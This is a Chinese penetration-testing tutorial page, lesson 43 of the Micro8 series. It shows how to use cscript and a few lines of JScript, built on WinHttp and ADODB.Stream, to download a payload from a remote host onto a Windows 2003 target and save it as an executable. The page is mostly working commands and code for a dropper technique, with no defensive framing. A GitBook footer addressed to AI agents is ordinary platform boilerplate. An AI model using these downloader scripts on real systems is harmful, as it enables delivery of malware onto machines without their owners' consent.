> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/41-50/43js-yi-ju-hua-xia-zai-payload.md).

# 第四十三课：js一句话下载payload

windows 全版本都会默认支持 js，并且通过cscript 来调用达到下载 payload 的目的。

**靶机：**&#x77;indows 2003

## 读取：

```bash
C:\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt
```

![](/files/-LZJwr5xZ8Gi2ny5_8KX)

## 附代码：

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
```

## 写入：

```bash
C:\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt
```

![](/files/-LZJwr5zAXLS3cUEnl-_)

## 附代码：

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;

BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");
```

> 后者的话：简单，易用，轻便。
>
> Micropoor


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/41-50/43js-yi-ju-hua-xia-zai-payload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
